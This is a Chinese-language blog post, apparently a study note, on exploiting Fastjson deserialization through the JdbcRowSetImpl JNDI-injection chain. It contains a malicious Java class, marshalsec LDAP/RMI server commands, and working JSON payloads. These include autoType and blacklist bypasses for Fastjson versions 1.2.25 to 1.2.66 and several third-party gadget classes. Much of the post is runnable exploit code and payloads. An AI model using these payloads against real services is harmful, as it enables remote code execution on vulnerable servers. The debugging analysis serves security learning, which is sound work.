Fastjson JdbcRowSetImpl利用链学习

虚幻大学 xuhss 254℃ 0评论

Python微信订餐小程序课程视频

https://blog.csdn.net/m0_56069948/article/details/122285951

Python实战量化交易理财系统

https://blog.csdn.net/m0_56069948/article/details/122285941

JdbcRowSetImpl

接着继续学习fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,而且其原理就是setter的自动调用,具体setter调用代码可以参考上篇文章调试的部分

1、漏洞复现

1.1、组件依赖版本

fastjson:1.2.22-1.2.24

1.2、利用方式

不像TemplatesImpl链需要指定的利用方式,JdbcRowSetImpl链只需要可以控制输入就能利用。

JSON.parse(evil);
JSON.parseObject(evil);
JSON.parseObject(evil, Object.class);

当然对jdk的版本有需求,因为高版本jdk对jndi和rmi有限制,在rmi篇也有说明这里再次贴出,方便自己以后查看

RMI利用的JDK版本≤ JDK 6u132、7u122、8u113

LADP利用JDK版本≤ 6u211 、7u201、8u191

d6172dd335db42d0d6da2c7a88b944a5 - Fastjson JdbcRowSetImpl利用链学习

图为阿里云应用

1.3、漏洞复现

准备恶意的代码

import java.io.IOException;

public class EXP {
    public EXP() throws IOException {
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }
}

编译恶意代码

javac EXP.java

开启http服务

python3 -m http.server

31b4fbbee1fe1ef4bcf0d9f18c1ba61d - Fastjson JdbcRowSetImpl利用链学习

用marshalsec开jndi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#EXP 1389

e4852a303d296375032739499450c7c5 - Fastjson JdbcRowSetImpl利用链学习

使用JdbcRowSetImpl构造poc,成功弹窗

package com.akkacloud.demo;

import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        try {
            jdbcRowSet.setDataSourceName("ldap://localhost:1389/#EXP");
            jdbcRowSet.setAutoCommit(true);
        } catch (SQLException throwables) {
            throwables.printStackTrace();
        }

    }
}

19615316834ca1f459a12b7380a62818 - Fastjson JdbcRowSetImpl利用链学习

因为fastjson会自动调用setter和getter,具体可以看

Poc调试的那部分,所以我们就可以构造处fastjson的poc

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}

我们JSON.parse()试一下

poc

package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {
        String exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}";
        JSON.parse(exp);
    }
}

4e515d0893746f382b1ca02cdd2094cc - Fastjson JdbcRowSetImpl利用链学习

1.4、利用链调试

这次我们就直接跳过fastjson的利用链,因为在TemplateImpl中已经详细跟进过,我们直接进入到 jdbcRowImpl,在setDataSourceName方法打下断点,其实看调用栈也是可以看出,前半部分是跟TemplatesImpl链是一样的,一个调用的是getOutputproperties,一个是setDataSourceName。

8fc1f9c0fe98f680381cf9b33a5ab172 - Fastjson JdbcRowSetImpl利用链学习

我们继续看,先判断DataSourceName的是否为null,不为就调用父类方法赋值,我们也跟进去看看

c18118af770cbf165cc56a6a900d9a40 - Fastjson JdbcRowSetImpl利用链学习

可以看到就是简单的dataSource赋值,然后就到setAutoCommit

435c59cadb78257cdff60680865019af - Fastjson JdbcRowSetImpl利用链学习

25933d09c8f858d21b955fe63586e5b9 - Fastjson JdbcRowSetImpl利用链学习

就是判断this.conn是否为null,null就调用this.connect()方法赋值,我们也跟进去看看

b3dba0afbc1cf55b55a177acf06364a0 - Fastjson JdbcRowSetImpl利用链学习

跟进来发现,获取上下文然调用lookup方法,参数就是我们获取我们前面赋值dataSource

ce1d65195d4a35c154be49e1cb28e5e3 - Fastjson JdbcRowSetImpl利用链学习

然后就成功执行代码了

3fae8151118797c6918075319b748336 - Fastjson JdbcRowSetImpl利用链学习

2、漏洞绕过

前面的两条链都是的Fastjson版本都是1.2.22-1.2.24,后面就是绕过了。

2.1、Fastjson:1.2.25-1.2.41

我们先把依赖版本改成1.2.25,再次执行poc发现不行了,报错,说autotype不支持,我们比较一下两个包

9b4c64e3da8532aa4b962a015b80762d - Fastjson JdbcRowSetImpl利用链学习

我们在TemplatesImpl时,看过这段代码,this.config是ParserConfig,而ref是templatesImpl,他用checkAutoType检查了ref,我们看看他怎么检查的,我们在此处打下断点

9453aee1b28c29494e41bbaa52055033 - Fastjson JdbcRowSetImpl利用链学习

确实在1.2.25会使用checkAutoType来校验ref(TemplatesImpl),我们跟进去发现要调用TypeUtils.loadClass,需要进入if,但是this.autoTypeSupport默认为false,所以进不去,

5fef6cc74c3fc7b000c57f6051835925 - Fastjson JdbcRowSetImpl利用链学习

而且在1.2.25版本中默认为flase,我们需要把this.autoTypeSupport设置为true,

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

然后到了this.acceptList(白名单),因为他本身就是空的

e082df2a1b4e70aad0d50131f1b726de - Fastjson JdbcRowSetImpl利用链学习

然后就是黑名单denyList,我们看看是什么东西,发现我们com.sun包就在这里和其他的一些利用链类。

72a2a823247b0945ec46db09a3b20f86 - Fastjson JdbcRowSetImpl利用链学习

那我们应该怎么办呢?我们怎办才能进入TypeUtils.loadClass(typeName, this.defaultClassLoader),大佬们是跟进去TypeUtils.loadClass方法,发现了绕过方法,我们也跟进去。

跟进来发现,一种是@Type字段开头是 ”[“,另一种“L”开头与“;”结尾,他就会从第二个字符获取我们的className。

521586489c9e99ecf1187a79e7d59030 - Fastjson JdbcRowSetImpl利用链学习

所以我们就可以构造新的payload,前提掉件就是AutoTypeSupport要为ture

ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 必须显示关闭白名单
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String exp = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}";
JSON.parseObject(exp);

5e52090952ea47fa6d3edf713b8c2a2d - Fastjson JdbcRowSetImpl利用链学习

2.2、Fastjson:1.2.42

我们继续修改fastjson版本为1.2.42,继续报错autotype不支持,应该是黑名单问题。

3951c647542b05f2b89e7289f5efc673 - Fastjson JdbcRowSetImpl利用链学习

我们调试点依旧打在checkAutoType,继续跟进看看

7bcd53f378a9d7c1b8d4133d3d9398ef - Fastjson JdbcRowSetImpl利用链学习

进来发现一堆hash,但是扔然进入到我们的第一红框,把className的"L"和";"去除掉了。

2aa6c29a4f2702807c651c6e7442d4a1 - Fastjson JdbcRowSetImpl利用链学习

而且hash的加密方式就在com.alibaba.fastjson.util.TypeUtils#fnv1a_64,我们只需要通过把恶意的类通过碰撞hash就可以获取黑名单了,项目地址:https://github.com/LeadroyaL/fastjson-blacklist

a496896598d92caba56b17f00893fa3a - Fastjson JdbcRowSetImpl利用链学习

因为前面已经去除过一次"L"和";",所以是进入不到if,我们用双写就可以绕过了。

c3133a7e870d346877bf7a2b2baa53df - Fastjson JdbcRowSetImpl利用链学习

修改payload

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}
package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {

        String exp = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}";

        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(exp);
    }
}

d378c00114b34544fdf29ea4caeb357f - Fastjson JdbcRowSetImpl利用链学习

2.3、Fastjson:1.2.43

1.2.43就是在原有的基础上对"LL"做了判定,是就直接抛出异常

85806a12fe5ba302daa281a828b47c8f - Fastjson JdbcRowSetImpl利用链学习

99459305b56b922d74e6493024e8ac4f - Fastjson JdbcRowSetImpl利用链学习

但是"["还是可以

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/EXP", "autoCommit":true}
package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {

 /* JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
 try {
 jdbcRowSet.setDataSourceName("ldap://localhost:1389/#EXP");
 jdbcRowSet.setAutoCommit(true);
 } catch (SQLException throwables) {
 throwables.printStackTrace();
 }*/

        String exp = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://localhost:1389/EXP\", \"autoCommit\":true}" ;

        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(exp);
    }
}

2.4、Fastjson:1.2.44

[进行限制

0521f53adb2faea7c4379da458ae19a2 - Fastjson JdbcRowSetImpl利用链学习

2.5、Fastjson:1.2.45

利用条件需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。

<dependency>
  <groupId>org.apache.ibatisgroupId>
  <artifactId>ibatis-coreartifactId>
  <version>3.0version>
dependency>

用的是rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://localhost:8000/#EXP 1099

0bdd613d8778957c0b662d0a2f127516 - Fastjson JdbcRowSetImpl利用链学习

poc

//需要有第三方组件ibatis-core 3:0
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data\_source":"rmi://localhost:1099/Exploit"}}
package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {

        String exp = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data\_source\":\"rmi://localhost:1099/EXP\"}}" ;

        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(exp);
    }
}

这里采用的跟前面的方式不一样,学习一下

@type指定的是JndiDataSourceFactory类,调用的是setProperties,原理依然是fastJson会自动调用getter和setter方法。我们跟进setProperties看看

63605f754c2b5a7ca9322d235bcee3bd - Fastjson JdbcRowSetImpl利用链学习

到了这里就是会lookup,传入的json字符串data_source,造成RCE

f71b886a99244d884c9fa75212cfd805 - Fastjson JdbcRowSetImpl利用链学习

2.6、1.2.25-1.2.47通杀

没有autotype限制和黑名单限制

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://localhost:1389/Exploit", 
        "autoCommit": true
    }
}
package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {

    String exp = "{\"a\": {\"@type\": \"java.lang.Class\",\"val\": \"com.sun.rowset.JdbcRowSetImpl\"},\"b\": {\"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\": \"ldap://localhost:1389/EXP\",\"autoCommit\": true}}";

        JSON.parseObject(exp);
    }
}

7e81a5c8e810ee7e2ddada0489fc11bf - Fastjson JdbcRowSetImpl利用链学习

我们跟进分析学习,在checkAutoType,因为我们第一个传入的是@Type是java.lang.Class,也没有把autoTypeSupport设置为true,所以会通过TypeUtils.getClassFromMapping(typeName)去查找,或者从this.deserializers.findClass(typeName)寻找。

4905004e41b1eec57e7afcd9fe1ff681 - Fastjson JdbcRowSetImpl利用链学习

在this.deserializers中找到了java.lang.Class,然后就直接返回了clazz,

9544b66c67c49464c93df1bba95b1ef8 - Fastjson JdbcRowSetImpl利用链学习

我们回到上一层DefaultJSONParser的parseObject方法,然后我们继续走到下面

获取了java.lang.Class的反序列化处理类,com.alibaba.fastjson.serializer.MiscCodec,然后执行deserializer.deserialze(),跟进去

7fa4c5c300fab56f5e85b71f41dc70bf - Fastjson JdbcRowSetImpl利用链学习

进入MiscCodec.deserialze(),我们直接进入重点parser.parse(),这个方法就是用来获取val值的,我们跟进去看看

19cb672ac4485010c21630c6822fbd1c - Fastjson JdbcRowSetImpl利用链学习

其实就是遍历获取val的值,然后返回

c13e78e2a1ecd48260f692c0ed031b6b - Fastjson JdbcRowSetImpl利用链学习

ebcace5167e84c755929d8573917aef3 - Fastjson JdbcRowSetImpl利用链学习

然后赋值给strVal

2b423460898425751d4f647e551a06d7 - Fastjson JdbcRowSetImpl利用链学习

然后就是一堆if判断,走到TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()),把strVal传进去

893fd12c3177fc4dac59a83bc744224b - Fastjson JdbcRowSetImpl利用链学习

跟进来,在mapping里面存入了jdbcRowSetImpl,就是存入了mapping缓存

ef707c94c267bc999437f48304e34cae - Fastjson JdbcRowSetImpl利用链学习

跟着程序继续来到checkAutoType(),跟进去。

099471c31b67dca3ed08011e0269aa40 - Fastjson JdbcRowSetImpl利用链学习

会在mapping中查询jdbcRowImpl,因为我们已经存进去,所以clazz就能获取到,然后返回,我回到上一层

caa7f6a8cdb4f7c71744bde266e7cd42 - Fastjson JdbcRowSetImpl利用链学习

走到这,成功获取到jdbcRowSetImpl,然后就是自动自行我们的set方法,setDataSourceName、setautoCommit执行lookup,造成rce

237e5b4063f7a90c70b753d5777dff25 - Fastjson JdbcRowSetImpl利用链学习

2.7、Fastjson:1.2.48

黑名单多了两条,MiscCodec中将默认传入的cache变为false,checkAutoType()调整了逻辑

2.8、Fastjson:1.2.62

  • 需要开启AutoType;
  • Fastjson <= 1.2.62;
  • JNDI注入利用所受的JDK版本限制;
  • 目标服务端需要存在xbean-reflect包;
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";

4be235986a4660d3a7a6f74f4acd4546 - Fastjson JdbcRowSetImpl利用链学习

2.9、Fastjson:1.2.66

// 需要autotype true
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}

参考链接
https://y4er.com/post/fastjson-learn/
https://blog.csdn.net/nice0e3/p/14776043.html

转载请注明:xuhss » Fastjson JdbcRowSetImpl利用链学习

喜欢 (0)

您必须 登录 才能发表评论!